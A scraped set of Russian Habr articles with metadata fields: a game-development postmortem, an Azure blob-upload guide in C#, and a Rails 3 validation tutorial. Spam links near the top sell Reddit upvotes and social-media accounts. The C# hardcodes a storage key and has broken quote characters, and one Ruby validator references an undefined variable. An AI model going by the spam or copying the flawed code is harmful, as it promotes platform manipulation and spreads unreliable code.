После прочтения этой статьи вы должны иметь хорошее понимание ключевых элементов, необходимых для работы mp4 и .flv файлов на вашем сайте. Конечно, вы можете управлять параметрами и делать другие вещи, но целью этой статьи было дать вам, понимание деталей, при настройке стримминга.
Promotion services:
[Buy reddit upvotes](https://reddit-marketing.pro)
[Buy reddit accounts](https://reddit-marketing.pro/buy-reddit-accounts/)
[Buy Quora accounts](https://reddit-marketing.pro/quora-upvotes-accounts/)
[Buy Linkedin accounts](https://reddit-marketing.pro/buy-linkedin-services/)
[Buy Medium claps](https://reddit-marketing.pro/buy-medium-claps/) | https://habr.com/ru/post/307446/ | null | ru | null |
# Непостмортем игры «Roads of Rome» («Дороги Рима»)
 В данной статье я хочу **кратко** рассказать о разработке казуальной игры «Roads of Rome» («Дороги Рима»).
Возможно это будет интересно тем, кто только собирается заняться разработкой игр. Собственно о программировании будет мало, больше о том, что использовалось в процессе разработки.
##### Кратко об игре
«Roads of Rome» — это казуальная игра жанра клик-менеджер/стратегия. Основная цель — построение дороги. Попутно придется разбирать завалы, ремонтировать/строить/улучшать здания.
В разработке игры использовался PopCap Framework.
##### Кратко о себе
Сразу уточню, что я не начинающий разработчик. Ранее я работал в компании, занимающейся разработкой игр. Именно там я увидел и прочувствовал на себе процесс создания игр. И этот опыт мне очень пригодился. Многие вещи кажутся неважными до тех пор, пока сам с ними не столкнешься. Поэтому перед началом разработки рекомендую вдумчиво поразмыслить над самыми различными проблемами и решениями этих проблем, над выбором инструментов, с которыми собираетесь работать, над тем, какие требования предъявляются к вашей игре издателем и т.д.
##### О роли в проекте
В данном проекте я участвовал в роли программиста в составе команды Whiterra. Арт, музыка, дизайн уровней и т.д. выполнялись другими людьми. Разработка велась в удаленном режиме и заняла примерно полгода календарного времени.
##### Разработка
Коммуникации в проекте велись в основном через Skype, иногда Jabber.
Список задач велся в Google Docs. Расшаренный документ, в котором нумерованный список, а приоритеты задач определяются цветом фона строки.
Несмотря на мой первичный скептицизм, данный метод работы оказался не так уж и плох. Даже в чем-то удобен (вот еще бы проритеты выставлять одним кликом). Да, никакой истории багов и фич, но зато работает довольно быстро и просто и не нужно держать свой сервер. Для проекта такого уровня с одним программистом этого вполне хватает.
Код и арт я храню в бесплатном SVN-хранилище (там квота в 500Мб, мне хватает).
Проект мультиязычный, существует русская и английская версии. Текст задается во внешнем XML (стандартно для PopCap Framework), поэтому для русской версии просто заменяется текст и некоторый арт с названием игры. Но т.к. иконки в ресурсах и текст, отображаемый в свойствах файла, разные, то есть два типа сборки для этих целей: Release (английская) и ReleaseRus (русская).
Финальная сборка проекта делается с помощью MSBuild. Он идет с .NET Framework, я использую версию из .NET 4 (версия из 2-ого .NET не захотела работать с '.sln' от Visual C++ 2008 Express). Делается это так:
`msbuild Game.sln /t:rebuild /p:Configuration=Release
msbuild Game.sln /t:rebuild /p:Configuration=ReleaseRus`
Можно было, конечно, разобраться с настройками MSBuild во внешнем файле, но мне данного решения хватает. После выполнения, если ошибок нет, получаем два экзешника.
Еще есть необходимость отправлять исходники. Чтобы упростить данную задачу был написан скриптик на Python (который я только начал изучать и уже рекомендую к ознакомлению как очень полезный, простой и удобный инструмент), который упаковывает в ZIP-архив файлы из указанной директории, предварительно отделив зерна от плевел по фильтру файлов и папок.
##### Программирование
Разработка игры велась под Windows на известном и хорошо зарекомендовавшем себя PopCap Framework.
В качестве IDE выбрана Visual Studio 2008 Express (C# и C++ версии). На С++ разрабатывалась сама игра, на C# тулсет к ней (редактор уровней, редактор комиксов и мелкие утилиты).
Редактор делался в спешке, поэтому мог быть и получше, но, что имеем, то и жнём.
Уровни хранятся само собой в XML, удобно, учитывая, что создаются уровни в C#, а читаются в C++.
Почему C#? Потому что разработка на нем быстрее, компиляция быстрее (в сравнении с C++), визуальный редактор удобен, есть собственные старые наработки. Ну и строже язык, не дает выстрелить себе в ногу случайно.
В игре активно используются контейнеры STL (в основном это vector, map и hash\_map из STLPort). Boost не хотел использовать принципиально, может быть и зря.
Касательно самих игровых сущностей интересна, наверное, дорога — она рисуется по кривой-сплайну. Кривая строится по опорным точкам, затем относительно нее (по нормалям в каждой точке) строится «лента из треугольников». А потом данная лента текстурируется. Таким образом получается, что текстура для дороги небольшая и подходит для нескольких уровней. В процессе разработки выяснилось что данный вариант смотрится не очень хорошо, т.к. свет в игре на все объекты падает всегда из одной точки, а вот повернутая текстура не вписывается в данную картину. Чтобы решить проблему пришлось сделать программный предрасчет освещения по карте высот дороги (обычный олдскульный бампмаппинг) и вторым проходом рисовать правильное освещение на дороге. И никаких шейдеров (а откуда им взяться в DirectX 7).
Вода сделана совсем просто. Сначала рисуем «дно», затем протяжку текстуры воды, затем по маске рисуем сушу.
Погодные явления (дождь/снег/песчаная буря) создаются обычными самописными 2D-частицами.
Землетрясение сделано тоже довольно просто — часть уровня отрисовывается в отдельный буфер (к сожалению программно) и после накладывается с полупрозрачностью на экран, смещая координаты отрисовки по синусу в некотором диапазоне. Вместе с соответствующим звуком получается довольно хорошее дрожание поверхности.
Само игровое поле поделено на клетки 16x16 пикселей, по которым происходит поиск пути, перемещение юнитов, расположение игровых элементов. Кстати про поиск пути. Для поиска пути юнитов используется A\* (библиотека указана ниже). Для определения доступности игровых элементов используется волновой алгоритм (простейшая ромбовидная волна). Просто и удобно.
Для удобной работы с контролами в диалогах пришлось написать обертку, которая контролы, их положение и параметры грузит из XML. Из-за этого пришлось немного перетряхнуть систему контролов PopCap Framework (избавиться от int идентификаторов и перейти на string идентификаторы). Но оказалось удобно, жаль времени написать редактор не было, но это всеравно удобнее, чем положение кнопок в коде менять, а потом каждый раз перекомпилировать.
Для удобной настройки твининг эффектов (плавные движения с замеделением/ускорением) сделал их настройку тоже во внешних XML.
По собственному опыту скажу — старайтесь максимум настроек выносить во внешние файлы, чтобы, изменяя что-то мелкое, не приходилось запускать компиляцию проекта (это отъедает от 30 секунд до 10 минут времени в зависимости от проекта и характера изменений). И очень желательно, чтобы в игре можно было перезагружать внешние настройки, не перезапуская игру (экономия от 20 секунд до минуты в зависимости от количества изображений в игре). Это кажется мелочи, но когда приходится раз 5-10 отредактировать какой-то параметр (хорошо, если один), то очень быстро натекает существенное время, да и постоянные паузы в работе не способствуют хорошему настроению.
Прикрутить скрипты не успел, правда в начале проекта не было понятно что именно нужно скриптовать, а в конце проекта уже не было времени на это.
##### Сторонние библиотеки
В редакторе использован Grid-контрол [SourceGrid](http://sourcegrid.codeplex.com/). А чуть позже была задействована библиотека [OpenTK](http://www.opentk.com/) (кстати недавно вышла версия 1.0).
В самой игре использовались:
* STLPort — в представлении не нуждается
* MicroPather — поиск пути, очень понравился, работает великолепно. OpenSource (zlib/libpng License)
* PugiXML — быстрый XML-парсер. Удобен и прост в использовании. OpenSource (MIT License)
* yasper — «A non-intrusive reference counted pointer». Спас меня от поиска большинства возможных утечек памяти. OpenSource (zlib-license)
* CppTweener — удобный твинер, подобный функционал понравился еще в ActionScript, и раньше очень не хватало аналога в C++. OpenSource (MIT License)
* PopCap framework — комментарии ниже. OpenSource (своя лицензия)
* Pyro effects — движок для эффектов частиц. Proprietary, платная (бесплатно для первой игры)
* Bass.dll — звуки и музыка. Proprietary, платная
Думаю интересно будет написать немного про каждую библиотеку отдельно, ибо есть чего.
###### PopCap Framework
Данный старожил был выбран по нескольким причинам. Во-первых так хотел заказчик, потому что уже имел опыт работы с данным фреймворком. Во-вторых я сам имел достаточный опыт работы с ним и знал что это за зверь и с чем его едят.
Не слушайте школоту, которая говорит, что такой фреймворк пишется за месяц работы. Данный фреймворк предоставляет вам множество удобств: менеджер ресурсов, загрузка ресурсов в отдельном потоке, система виджетов и контролов, отслеживание утечек памяти, система рендеринга битмап-шрифтов, упаковка множества ресурсов в один PAK-файл, встроенный XML-парсер, встроенный профайлер, stack-trace, простой и удобный API, код фреймворка учитывает множество «особых» ситуаций и **много-много** чего еще.
Конечно, не все в нем идеально. Чтобы работать с русскими символами — придется немного «пропатчить и заапдейтить» (©«Магазинчик Бо»). Встроенный парсер имеет ошибки, их тоже придется исправлять. Ну и самое плохое, что PopCap перестал обновлять данный фреймворк. Впрочем, есть [неофициальная версия фреймворка 1.34](https://www.assembla.com/wiki/show/sexy) — в ней исправлены некоторые недочеты (как минимум парсер и русские символы). Но остается самый главный недостаток: фреймворк написан для DirectX 7, и Windows Vista/7 имеет некоторые особенности при работе с таким антиквариатом. К тому же ATI/AMD и NVidia в своих драйверах поддерживают DX7 по остаточному принципу и из-за этого у многих пользователей возникают проблемы. Одно время на ATI-картах вообще было невозможно играть (отображался черный экран), потом, правда, вышел нормальный драйвер. На NVidia с какой-то версии драйверов (в Vista/7) перестала определяться поддержка 3D, поэтому игра шла в Software-mode и, соответственно, сильно тормозила. Поэтому на данный момент я вынужден констатировать, что разрабатывать на PopCap Framework больше нельзя — круг неразрешимых разработчиком проблем слишком широк.
Для интересующихся замечу, что существует неофициальный [форум](http://forum.fischeronline.de/) по PopCap Framework.
Так же существует версия фреймворка, являющаяся оберткой над движком [Kanji](http://kanjiengine.com), называется [SexyKanji](http://sourceforge.net/projects/sexykanji/) и имеет схожий на 98% API. В ней решены проблемы устаревания (т.к. работает на DirectX 8/9 или OpenGL). К тому же фреймворк кроссплатформенный, что не может не радовать. Сама надстройка SexyKanji по прежнему OpenSource, но движок Kanji платный (что-то около 300$). SexyKanji хорош, но при переходе на него некоторые вещи придется «допиливать». Так же появилась информация, что движок продан другой компании и теперь, равная по функционалу версия, будет стоить уже 1000$ (к тому же это только на одно рабочее место).
Есть еще версия PopCap Framework, для работы на платформах, отличных от Windows — это [TuxCap Framework](http://sourceforge.net/projects/tuxcap/), но пока времени не было его посмотреть, если кто использовал — опишите свой опыт в комментариях.
Возможные бесплатные альтернативы для разработки игр:
* **HGE** — из плюсов: DirectX8. Из минусов: DirectX8 — будут проблемы на Vista/7, не кроссплатформенный, слишком низкоуровневый (ИМХО), вроде тоже давно не обновляется, мне не нравится :)
* **Playground SDK** — из плюсов: обновляется, кроссплатформенный, навороченный. Из минусов всего один, зато какой: исходный код самого движка закрыт и если вы наткнетесь на какой-то баг в движке, то вам остается только ждать исправления, сами вы решить проблему вряд ли сможете
###### STLPort
Замена MS STL. Зачем? Затем, что работает быстрее, памяти потребляет меньше. Стабилен и не вызывает никаких нареканий. Рекомендую.
Настолько с ним свыкся, что чуть не забыл написать про [STLPort](http://sourceforge.net/projects/stlport/).
###### Micropather
В самом начале работы над проектом на форуме, посвященном PopCap Framework, была найдена библиотека для поиска пути: **AStar Library**.
Возможно у меня руки кривые, но нормально работать я ее заставить не мог. Она находила путь, но уж очень он был не оптимален. Решено было искать другой «пасфайндер». Таковым стал [Micropather](http://www.grinninglizard.com/MicroPather/). Сначала были проблемы из-за кэширования пути, но возможно это я где-то забывал сбрасывать кэш. Но после отключения кэша все заработало как ожидалось. Библиотека простая, нужно подключить только заголовочный файл. Рекомендую.
###### PugiXML
Я использую этот парсер, чтобы считывать все свои XML (кроме тех, что стандартны для PopCap Framework). Не использую встроенный, т.к. он не очень удобен и я не уверен, что в нем нет еще каких-либо ошибок. Ну и к тому же [PugiXML](http://code.google.com/p/pugixml/) — один из самых быстрых парсеров, а скорость — это хорошо :)
###### CppTweener
Аналогов для твининга параметров на С++ я больше не нашел, поэтому использовал [данный твинер](http://code.google.com/p/cpptweener/). Пришлось несколько раз глубоко дебажить, чтобы исправить некоторые ошибки, сейчас вроде нормально работает, но иногда хочется переписать его код в right-way.
###### Yasper
Просто хороший и [очень умный указатель](http://yasper.sourceforge.net/). Главное перекрестных ссылок не делать, иначе не сработает, проверено :) Но PopCap об этом напишет в mem\_leaks.txt (в Debug режиме).
###### Bass.dll
В самом начале жизни проекта использовалась **Audiere.dll**. Бесплатна, держит необходимый функционал, позже даже нашел AudiereMusicInterface для полной интеграции с PopCap Framework. Все бы хорошо, но на некоторых хитрых конфигурациях падает. Просто и внезапно падает. У меня на Athlon 64 X2 и Windows XP иногда падало. Решено было перейти на платный [Bass.dll](http://www.un4seen.com/). Работает вроде хорошо (есть один не фатальный бажок, но его можно терпеть). Использую версию 2.3.0.3 — предыдущие имеют серьезные баги, а для более новых нужно переписывать поддержку библиотеки в PopCap Framework.
Данная библиотека бесплатна для некоммерческого использования.
###### Pyro Effects
Сначала для эффектов решено было прикрутить эффекты от другого OpenSource фреймворка — от HGE. Основной мотив — существование стороннего порта движка эффектов на PopCap (**SexyHGEparticles**) и бесплатного редактора эффектов от HGE. Практически сразу стало ясно, что нормально использовать ЭТО нельзя. Редактор нестабилен, да и сделать в нем что-либо сложное невозможно. А порт движка эффектов работает не так, как в редакторе, в результате чего эффекты вели себя странным образом, словно у них гравитация в игре слабее, однако исправить это сходу не получилось.
Так длилось некоторое время. В какой-то момент без нормальных эффектов было уже нельзя продолжать работу, поэтому я занялся изучением других библиотек и редакторов эффектов к ним. Что нам было нужно: простая интеграция в PopCap Framework и возможность создавать сложные эффекты.
Сначала был рассмотрен **Magic Particles**. Вроде мощный редактор, большая база сэмплов с довольно сложными эффектами. Начал я его прикручивать. Не помню уже почему я полез смотреть как он грузит изображения. Но когда увидел, что при создании эффекта он сначала сохраняет изображение на диск, и лишь затем загружает его в память (это верно для PopCap Framework, с другими движками все может быть иначе)… От такого решения я сразу отказался, ну не доверяю я таким «хакам», а писать нормальную поддержку у меня не было ни сил, ни желания. Хотя редактор выглядел интересно.
Следующий испытуемый **[Pyro](http://pyro.fenomen-games.com/)**. Прикрутить систему эффектов оказалось довольно просто, тем более, существовал небольшой враппер для PopCap Framework. Редактор тоже вполне себе. Но в результате использования выяснилось следующее: не все эффекты в игре выглядят так же, как и в редакторе (визуально — что-то не так с опциями сложения цвета), не все эффекты работают в игре, несмотря на то, что они работают в редакторе (может и я что-то не так делал, но включение некоторых опций в эффекте приводит к неотображению эффекта в игре). Т.к. возиться времени больше не было, и Pyro нам больше подходил, чем не подходил, решили остановиться на нем.
**SPARK**. Есть еще такой движок для эффектов частиц. К нему в сети даже есть OpenSource редактор. Но нашел я его много позже (да и вышел он позже, чем мне требовалось). Использовать пока не удалось, редактор сходу не скомпилился (каких-то dll не хватало). Если кто использовал — расскажите как оно вам.
Для эффектов дождя/снега/песчаной бури использовались свои собственные частицы, так оно оказалось проще и универсальнее.
##### Вместо заключения
Надеюсь кому-то поможет мой опыт выбора между теми или иными библиотеками. Ведь это только на словах несколько предложений, а в процессе разработки это и несколько емких словосочетаний и несколько дней работы, которые совсем не хочется тратить на ковыряние в чужом коде и осознание того, что этот код тебе оказывается не подходит.
Вопросы и уточнения в комментарии.
Ну и ссылка на саму [игру](http://www.realore.ru/games/roads_of_rome/). | https://habr.com/ru/post/105011/ | null | ru | null |
# Миграция БД на Windows Azure SQL VM. BLOB Storage + REST
Теперь, когда мы имеем созданную в Облаке с установленным на нее SQL Server и умеем со стороны клиента с ним соединяться, как с локальным SQL Server, остается наполнить его данными. Предположим, в рамках гибридного сценария часть БД планируется перенести на Azure SQL VM. В этой статье будет рассматриваться сценарий, когда БД обособляется в виде файла (или нескольких файлов) посредством создания ее резервной копии, detach, [data-tier application](http://blogs.technet.com/b/isv_team/archive/2012/05/04/3496080.aspx) и т.д., файл доставляется на Azure SQL VM и превращается обратно в базу путем восстановления из бэкапа, attach, [deploy/import data-tier application](http://blogs.technet.com/b/isv_team/archive/2012/05/06/3496307.aspx) и т.д. Первое и последнее действие не вызывают вопросов у DBA. Осталось понять, как лучше доставить отчужденный файл с базой (.bak, .mdf, .bacpac, …) на облачную виртуалку с SQL Server.
Для примера перенесем любимую базу данных AdventureWorks в виде ее резервной копии:
`backup database AdventureWorks2012 to disk = 'c:\Temp\AdventureWorks2012.bak' with init, compression, stats = 10`
Скрипт 1
Файлы небольших размеров, как этот, можно, не мудрствуя лукаво, переносить обычным Copy/Paste на удаленный рабочий стол виртуальной машины SQL Server. Еще в голову приходит сделать на виртуалке папку общего доступа и скопировать туда, используя продвинутые средства копирования с возможностью распараллеливания, коррекции и взобновления в случае сбоев, а также передать файл по FTP. Эти способы очевидны. В данном посте мы задействуем иной способ: передадим файл бэкапа с локальной машины в Azure Storage в виде блоба и скачаем его оттуда внутрь облачной виртуалки. У нас уже имеется один Storage Account, созданный автоматически при [создании виртуальной машины](http://blogs.technet.com/b/isv_team/archive/2012/10/05/3524343.aspx), в котором был автоматически контейнер по имени vhds, в котором в виде блоба хранится виртуальный диск нашей виртуальной машины. Для чистоты эксперимента создадим новый Storage Account под названием tststorage в том же центре обработки данных, что и облачная виртуалка, для сокращения накладных расходов.
Внутри Azure Storage данные могут храниться в виде блобов или таблиц — см. Azure Data Management and Business Analytics в документации Windows Azure. Таблицы не являются таблицами в строгом реляционном понимании. Это просто слабо структурированные наборы пар ключ-значение подобно тому, что когда-то называлось SQL Data Services — см. [Введение в SQL Azure](http://blogs.technet.com/b/isv_team/archive/2012/01/22/3476674.aspx). По сравнению с SDS нынешние таблицы могут партиционироваться по ключу. Разные партиции хранятся на разных машинах в Облаке, чем достигается горизонтальное масштабирование, как при [шардинге](http://blogs.technet.com/b/isv_team/archive/2012/06/29/3506611.aspx) в случае SQL Azure Database. Блобы бывают блочные и страничные. Структура блочных блобов оптимизирована для подокового доступа, страничных – для случайного чтения/записи. Страничная структура позволяет запсать в блоб диапазон байтов. Подробно разница между ними объясняется, например, здесь — [blogs.msdn.com/b/windowsazurestorage/archive/2010/04/11/using-windows-azure-page-blobs-and-how-to-efficiently-upload-and-download-page-blobs.aspx](http://blogs.msdn.com/b/windowsazurestorage/archive/2010/04/11/using-windows-azure-page-blobs-and-how-to-efficiently-upload-and-download-page-blobs.aspx). Виртуальные диски хранятся как страничные блобы. Хранение блобов осуществляется внутри контейнеров, которые создаются в рамках Storage Account. Создадим в эккаунте tststorage контейнер container1 под хранение AdventureWorks2012.bak.
Публичный контейнер позволяет видеть любому желающему содержащиеся в нем блобы. Публичный блоб позволяет любому желающему доступаться к любому блобу, но содержание контейнера недоступно. Наконец, частный контейнер означает, что для доступа к блобу потребуется указывать ключ Storage Account. Изменить впоследствии уровень доступа к контейнеру можно при помощи кнопки Edit Container.
Сделанную в Скрипте 1 резервную копию базы для простоты будем загружать в Azure Storage как блочный блоб. Для операций над блобами в Облаке (равно как и над таблицами, и очередями) можно использовать REST, что позволяет работать напрямую через Интернет (HTTP Request/Response), привлекая широкий диапазон средств разработки. REST API для работы с блобами описывается здесь — [msdn.microsoft.com/en-us/library/dd135733.aspx](http://msdn.microsoft.com/en-us/library/dd135733.aspx). Так можно посмотреть, какие блобы лежат в публичном контейнере: [tststorage.blob.core.windows.net/container1?restype=container∁=list](http://tststorage.blob.core.windows.net/container1?restype=container&comp=list)
Контейнер container1 сейчас пуст. Чтобы загрузить в него AdventureWorks2012.bak, нужно использовать метод PUT:
using System;
using System.Net;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Globalization;
class Program
{
static void Main(string[] args)
{
string fileFullName = @«c:\Temp\AdventureWorks2012.bak»; //@«c:\Temp\aaa.txt»;
string storageAccount = «tststorage»;
string containerName = «container1»;
string accessKey = «xws7rilyLjqdw8t75EHZbsIjbtwYDvpZw790lda0L1PgzEqKHxGNIDdCdQlPEvW5LdGWK/qOZFTs5xE4P93A5A==»;
HttpWebRequest req = (HttpWebRequest)WebRequest.Create(String.Format(«https://{0}.blob.core.windows.net/{1}/{2}», storageAccount, containerName, Path.GetFileName(fileFullName)));
FileStream fs = File.OpenRead(fileFullName);
byte[] fileContent = new byte[fs.Length];
fs.Read(fileContent, 0, fileContent.Length);
fs.Close();
req.Method = «PUT»;
req.ContentLength = fileContent.Length;
req.Headers.Add(«x-ms-blob-type», «BlockBlob»);
req.Headers.Add(«x-ms-date», DateTime.UtcNow.ToString(«R», CultureInfo.InvariantCulture));
req.Headers.Add(«x-ms-version», «2011-08-18»);
string canonicalizedString = BuildCanonicalizedString(req, String.Format("/{0}/{1}/{2}", storageAccount, containerName, Path.GetFileName(fileFullName)));
req.Headers[«Authorization»] = CreateAuthorizationHeader(canonicalizedString, storageAccount, accessKey);
req.Timeout = 100 \* 60 \* 1000;
Stream s = req.GetRequestStream();
s.Write(fileContent, 0, fileContent.Length);
DateTime dt = DateTime.Now;
req.GetResponse();
System.Diagnostics.Debug.WriteLine(DateTime.Now — dt);
}
static string CreateAuthorizationHeader(string canonicalizedString, string storageAccount, string accessKey)
{
HMACSHA256 hmacSha256 = new HMACSHA256(Convert.FromBase64String(accessKey));
byte[] dataToHMAC = Encoding.UTF8.GetBytes(canonicalizedString);
string signature = Convert.ToBase64String(hmacSha256.ComputeHash(dataToHMAC));
return «SharedKey » + storageAccount + ":" + signature;
}
static string BuildCanonicalizedString(HttpWebRequest req, string canonicalizedResource)
{
StringBuilder sb = new StringBuilder();
sb.Append(req.Method + "\n\n\n");
sb.Append(String.Format("{0}\n\n\n\n\n\n\n\n\n", req.ContentLength));
sb.Append(«x-ms-blob-type:» + req.Headers[«x-ms-blob-type»] + '\n');
sb.Append(«x-ms-date:» + req.Headers[«x-ms-date»] + '\n');
sb.Append(«x-ms-version:» + req.Headers[«x-ms-version»] + '\n');
sb.Append(canonicalizedResource);
return sb.ToString();
}
}
Скрипт 2
В этом коде все достаточно очевидно за исключением, пожалуй, одного момента. Несмотря на то, что контейнер container1 был создан как публичный, запись блоба требует авторизации. Кто и какие операции может выполнять над блобами и контейнерами в зависимости от установленного уровня доступа описывается здесь — [msdn.microsoft.com/en-us/library/dd179354.aspx](http://msdn.microsoft.com/en-us/library/dd179354.aspx). Вне зависимости от уровня доступа право на запись имеет владелец. Чтобы авторизоваться как владелец в HTTP Request требуется установить заголовок Authorization. Строка, записываемая в этот заголовок, в соответствии с требованиями схем аутентификации содержит подпись, которая представляет собой Hash-based Message Authentication Code (HMAC) канонизированной строки в кодировке UTF-8, где хэш вычисляется по алгоритму SHA256 на основе ключа доступа. Канонизированная строка складывается из метода доступа REST, размера загружаемого файла, типа блоба (x-ms-blob-type = блочный или страничный) даты/времени HTTP-запроса в формате UTC (x-ms-date), даты версии блобовского сервиса Azure, обслуживающего данный HTTP-запрос (x-ms-version) и др. Здесь не требуется блистать высоким программерским искусством, нужна лишь кропотливость и внимательность, т.к. малейшая неаккуратность при формировании канонизированной строки неумолимо влечет ошибку HTTP 403 Forbidden.
Ключи доступа (основной и запасной) формируются на этапе создания Storage Account, их можно посмотреть в свойствах контейнера (Manage Keys). Любой из них можно задавать в качестве accessKey для создания цифровой подписи при авторизации — HMACSHA256 hmacSha256 = new HMACSHA256(Convert.FromBase64String(accessKey));
Для более гранулярнного управления правами можно использовать подпись общего доступа (Shared Access Signature). Подпись общего доступа позволяет создать политику, позволяющую выполнять определенную операцию, например, запись внутри определенного контейнера в пределах отведенного промежутка времени. Человек, которому вручается подпись, будет способен действовать в рамках этой политики. Другая подпись, например, может уполномачивать читать из другого контейнера в течение другого периода.
Прочие комментарии.
• Если блоб с таким именем в контейнере существует, он молчаливо перетирается.
• Имя контейнера чувствительно к регистру.
• Время загрузки, очевидно, зависит от скорости сетки. Например, с работы данный 45-меговый бэкап залился со свистом за 00:01:07. Из дома получалось в разы медленнее.
В данном демонстрационном примере бэкап имел достаточно «детский» размер. Блочные блобы ограничены размером в 200 ГБ. Блочный блоб размером менее 64 МБ может быть загружен одной операцией записи, как мы наблюдали в примере Скрипт 2. В противном случае следует разбивать его на куски и загружать поблочно с использованием методов Put Block / Put Block List. При заливке в Azure Storage крупных файлов следует применять страничные блобы. Страничный блоб состоит из 512-байтных страниц, его максимальный размер составляет 1 ТБ. Пример на запись/чтение диапазона страниц страничного блоба приводится здесь — [blogs.msdn.com/b/windowsazurestorage/archive/2010/04/11/using-windows-azure-page-blobs-and-how-to-efficiently-upload-and-download-page-blobs.aspx](http://blogs.msdn.com/b/windowsazurestorage/archive/2010/04/11/using-windows-azure-page-blobs-and-how-to-efficiently-upload-and-download-page-blobs.aspx). | https://habr.com/ru/post/156939/ | null | ru | null |
# Новые подходы к валидации в Rails 3
#### Введение
Как вы уже знаете из поста тов. Yehuda Katz об [ActiveModel абстракции](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/), в Rails 3.0, ActiveRecord отныне содержит в себе некоторые аспекты ActiveModel, среди которых модули валидации.
И прежде чем мы начнем, давайте вспомним, какие методы валидации у нас уже есть:`* validates\_acceptance\_of
* validates\_associated
* validates\_confirmation\_of
* validates\_each
* validates\_exclusion\_of
* validates\_format\_of
* validates\_inclusion\_of
* validates\_length\_of
* validates\_numericality\_of
* validates\_presence\_of
* validates\_size\_of
* validates\_uniqueness\_of`Все они по прежнему в строю, но Rails 3 предлагает несколько новых отличных альтернатив.
#### Новый метод `validate`
Метод `validate` принимает атрибут и хеш с опциями валидации. Это значит, что теперь привычную валидацию можно записать вот так:
```
class Person < ActiveRecord::Base
validates :email, :presence => true
end
```
В качестве опций, которые можно передать, выступают следующие:`* :acceptance => Boolean
* :confirmation => Boolean
* :exclusion => { :in => Ennumerable }
* :inclusion => { :in => Ennumerable }
* :format => { :with => Regexp }
* :length => { :minimum => Fixnum, maximum => Fixnum, }
* :numericality => Boolean
* :presence => Boolean
* :uniqueness => Boolean`Что дает обширную область очень простых, кратких опций для тех или иных атрибутов предоставляя возможность писать все нужные валидации в одном месте.
К примеру, если нужно проверить имя и электронную почту, можно сделать так:
```
class User < ActiveRecord::Base
validates :name, :presence => true,
:length => {:minimum => 1, :maximum => 254}
validates :email, :presence => true,
:length => {:minimum => 3, :maximum => 254},
:uniqueness => true,
:format => {:with => /^([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})$/i}
end
```
Таким образом, теперь можно взглянув на модель сразу увидеть, какие валидации навешаны для каждого атрибута — что есть небольшая победа для кода и удобочитаемости :)
#### Извлечение привычных сценариев использования
Тем не менее, записаь `:format => {:with => EmailRegexp}`, немного тяжеловата, чтоб писать её в нескольких местах, что наталкивает на мысль о создании многократно используемой валидации, которую можно было бы применить в других моделях.
Пойдем дальше — а что если нужно использовать гораздо более выразительное регулярно выражение, состоящее из более чем нескольких символов, чтобы показать, как классно вы умеете гуглить? :)
Чтож, валидации могут быть и написанными вручную. Для начала создадим файл `email_validator.rb` в каталоге `lib`, в недрах нашего приложения:
```
# lib/email_validator.rb
class EmailValidator < ActiveModel::EachValidator
EmailAddress = begin
qtext = '[^\\x0d\\x22\\x5c\\x80-\\xff]'
dtext = '[^\\x0d\\x5b-\\x5d\\x80-\\xff]'
atom = '[^\\x00-\\x20\\x22\\x28\\x29\\x2c\\x2e\\x3a-' +
'\\x3c\\x3e\\x40\\x5b-\\x5d\\x7f-\\xff]+'
quoted_pair = '\\x5c[\\x00-\\x7f]'
domain_literal = "\\x5b(?:#{dtext}|#{quoted_pair})*\\x5d"
quoted_string = "\\x22(?:#{qtext}|#{quoted_pair})*\\x22"
domain_ref = atom
sub_domain = "(?:#{domain_ref}|#{domain_literal})"
word = "(?:#{atom}|#{quoted_string})"
domain = "#{sub_domain}(?:\\x2e#{sub_domain})*"
local_part = "#{word}(?:\\x2e#{word})*"
addr_spec = "#{local_part}\\x40#{domain}"
pattern = /\A#{addr_spec}\z/
end
def validate_each(record, attribute, value)
unless value =~ EmailAddress
record.errors[attribute] << (options[:message] || "не корректный")
end
end
end
```
Так как каждый файл из директории `lib` загружается автоматически, и, так как наш валидатор унаследован от класса `ActiveModel::EachValidator`, имя нашего класса используется в качестве динамического валидатора, который можно применять в любом объекте, у которого есть доступ к `ActiveModel::Validations`. Тоесть, к примеру, это все объекты ActiveRecord.
Название динамического валидатора — это всё что стоит левее от слова Validator, приведенное к нижнему регистру.
Таким образом наш класс `User` теперь будет выглядеть вот так:
```
# app/models/person.rb
class User < ActiveRecord::Base
validates :name, :presence => true,
:length => {:minimum => 1, :maximum => 254}
validates :email, :presence => true,
:length => {:minimum => 3, :maximum => 254},
:uniqueness => true,
:email => true
end
```
Обратили внимание на `:email => true`? Так гораздо проще, но что самое главное — теперь это можно использовать где угодно!
А в консоли теперь мы увидим нечто следующее (с нашим собственным сообщением “не корректный”):
```
$ ./script/console
Loading development environment (Rails 3.0.pre)
?> u = User.new(:name => 'Mikel', :email => 'bob')
=> #
>> u.valid?
=> false
>> u.errors
=> #["не корректный"]}>
```
#### Валидации для классов
А что если, скажем, существуют три различные модели (`user`, `visitor` и `customer`), каждый из которых должен использовать общие валидации. В таком случае, заменив `validates` на `validates_with`, мы просто должны сделать так:
```
# app/models/person.rb
class User < ActiveRecord::Base
validates_with HumanValidator
end
# app/models/person.rb
class Visitor < ActiveRecord::Base
validates_with HumanValidator
end
# app/models/person.rb
class Customer < ActiveRecord::Base
validates_with HumanValidator
end
```
А в каталог `lib` поместим файл:
```
class HumanValidator < ActiveModel::Validator
def validate(record)
record.errors[:base] << "This person is dead" unless check(human)
end
private
def check(record)
(record.age < 200) && (record.age > 0)
end
end
```
И проверим на, явно притянутом за уши, примере:
```
$ ./script/console
Loading development environment (Rails 3.0.pre)
>> u = User.new
=> #
>> u.valid?
=> false
>> u.errors
=> #["This person is dead"]}>
```
#### Время триггеров
Как и стоило ожидать, каждая валидация может принимать следующие под-опции:
`* :on
* :if
* :unless
* :allow\_blank
* :allow\_nil`Каждая из которых может принимать вызов произвольного метода. Таким образом:
```
class Person < ActiveRecord::Base
validates :post_code, :presence => true, :unless => :no_postcodes?
def no_postcodes?
true if ['TW'].include?(country_iso)
end
end
```
Этого, пожалуй, будет достаточно чтобы составить первое впечатление о новом уровне гибкости. | https://habr.com/ru/post/82841/ | null | ru | null |
# Необычный способ использования встроенных команд оболочки для выяснения того, какие директории существуют в системе
